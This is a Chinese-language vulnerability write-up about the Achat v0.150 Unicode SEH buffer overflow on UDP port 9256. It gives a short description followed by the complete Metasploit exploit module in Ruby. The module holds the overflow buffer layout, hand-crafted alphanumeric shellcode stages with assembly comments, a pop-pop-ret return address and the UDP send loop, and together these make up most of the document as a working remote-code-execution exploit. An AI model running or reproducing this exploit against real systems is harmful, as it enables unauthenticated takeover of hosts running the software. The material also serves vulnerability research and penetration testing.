Achat Unicode SEH Buffer Overflow

漏洞信息

漏洞名称: Achat Unicode SEH Buffer Overflow

漏洞类型: 缓冲区溢出

漏洞等级: 高危

漏洞描述: Achat是一款即时通讯软件,主要用于Windows平台上的用户间通信。该软件在默认配置下监听9256/UDP端口,用于接收和处理用户消息。由于其广泛的应用和部署,Achat成为了攻击者的潜在目标。本漏洞利用了Achat软件中的一个Unicode SEH缓冲区溢出漏洞。攻击者通过向默认端口9256/UDP发送特制的消息,可以覆盖SEH处理程序,从而执行任意代码。尽管该漏洞的利用依赖于时机,因为有两个线程在同一时间溢出堆栈,但它在Windows XP SP3和Windows 7 SP1上的Achat v0.150版本中已被证实是可靠的。漏洞的根本原因在于软件未能正确处理输入数据,导致缓冲区溢出。这种漏洞可能导致远程代码执行,攻击者无需认证即可利用此漏洞,对受影响的系统造成严重的安全威胁,包括数据泄露、服务中断等。

产品名称: Achat

影响版本: v0.150

来源: https://github.com/rapid7/metasploit-framework/blob/3fb2477fbfce078a9bd59cb69eecc4910a868111/modules%2Fexploits%2Fwindows%2Fmisc%2Fachat_bof.rb

类型: rapid7/metasploit-framework:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Udp
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Achat Unicode SEH Buffer Overflow',
'Description' => %q{
This module exploits a Unicode SEH buffer overflow in Achat. By
sending a crafted message to the default port 9256/UDP, it's possible to overwrite the
SEH handler. Even when the exploit is reliable, it depends on timing since there are
two threads overflowing the stack in the same time. This module has been tested on
Achat v0.150 running on Windows XP SP3 and Windows 7.
},
'Author' => [
'Peter Kasza <peter.kasza[at]itinsight.hu>', # Vulnerability discovery
'Balazs Bucsay <balazs.bucsay[at]rycon.hu>' # Exploit, Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CWE', '121'],
],
'DefaultOptions' => {
'EXITFUNC' => 'process'
},
'Payload' => {
'DisableNops' => true,
'Space' => 1200,
'BadChars' => "\x00" + (0x80..0xff).to_a.pack("C*"),
'StackAdjustment' => -3500,
'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed,
'EncoderOptions' =>
{
'BufferRegister' => 'EAX'
}
},
'Platform' => 'win',
'Targets' => [
# Tested OK Windows XP SP3, Windows 7
# Not working on Windows Server 2003
[ 'Achat beta v0.150 / Windows XP SP3 / Windows 7 SP1', { 'Ret' => "\x2A\x46" } ] # ppr from AChat.exe
],
'Privileged' => false,
'DefaultTarget' => 0,
'DisclosureDate' => '2014-12-18',
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
)
)

register_options(
[
Opt::RPORT(9256)
]
)
end

def exploit
connect_udp

# 0055 00 ADD BYTE PTR SS:[EBP],DL # padding
# 2A00 SUB AL,BYTE PTR DS:[EAX] # padding
# 55 PUSH EBP # ebp holds a close pointer to the payload
# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding
# 58 POP EAX # mov eax, ebp
# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding
# 05 00140011 ADD EAX,11001400 # adjusting eax
# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding
# 2D 00130011 SUB EAX,11001300 # lea eax, eax+100
# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding
# 50 PUSH EAX # eax points to the start of the shellcode
# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding
# 58 POP EAX # padding
# 0043 00 ADD BYTE PTR DS:[EBX],AL # padding
# 59 POP ECX # padding
# 0039 ADD BYTE PTR DS:[ECX],BH # padding
first_stage = "\x55\x2A\x55\x6E\x58\x6E\x05\x14\x11\x6E\x2D\x13\x11\x6E\x50\x6E\x58\x43\x59\x39"

sploit = 'A0000000002#Main' + "\x00" + 'Z' * 114688 + "\x00" + "A" * 10 + "\x00"
sploit << 'A0000000002#Main' + "\x00" + 'A' * 57288 + 'AAAAASI' * 50 + 'A' * (3750 - 46)
sploit << "\x62" + 'A' * 45 # 0x62 will be used to calculate the right offset
sploit << "\x61\x40" # POPAD + INC EAX

sploit << target.ret # AChat.exe p/p/r address

# adjusting the first thread's unicode payload, tricky asm-fu
# the first seh exception jumps here, first_stage variable will be executed
# by the second seh exception as well. It needs to be in sync with the second
# thread, so that is why we adjust eax/ebp to have a close pointer to the
# payload, then first_stage variable will take the rest of the job.
# 0043 00 ADD BYTE PTR DS:[EBX],AL # padding
# 55 PUSH EBP # ebp with close pointer to payload
# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding
# 58 POP EAX # put ebp to eax
# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding
# 2A00 SUB AL,BYTE PTR DS:[EAX] # setting eax to the right place
# 2A00 SUB AL,BYTE PTR DS:[EAX] # adjusting eax a little bit more
# 05 00140011 ADD EAX,11001400 # more adjusting
# 0043 00 ADD BYTE PTR DS:[EBX],AL # padding
# 2D 00130011 SUB EAX,11001300 # lea eax, eax+100
# 0043 00 ADD BYTE PTR DS:[EBX],AL # padding
# 50 PUSH EAX # saving eax
# 0043 00 ADD BYTE PTR DS:[EBX],AL # padding
# 5D POP EBP # mov ebp, eax
sploit << "\x43\x55\x6E\x58\x6E\x2A\x2A\x05\x14\x11\x43\x2d\x13\x11\x43\x50\x43\x5D" + 'C' * 9 + "\x60\x43"
sploit << "\x61\x43" + target.ret # second nseh entry, for the second thread
sploit << "\x2A" + first_stage + 'C' * (157 - first_stage.length - 31 - 3) # put address of the payload to EAX
sploit << payload.encoded + 'A' * (1152 - payload.encoded.length) # placing the payload
sploit << "\x00" + 'A' * 10 + "\x00"

i = 0
while i < sploit.length do
if i > 172000
Rex::sleep(1.0)
end
sent = udp_sock.put(sploit[i..i + 8192 - 1])
i += sent
end
disconnect_udp
end
end



Achat Unicode SEH Buffer Overflow
http://example.com/2025/07/31/github_3081979685/
作者
lianccc
发布于
2025年7月31日
许可协议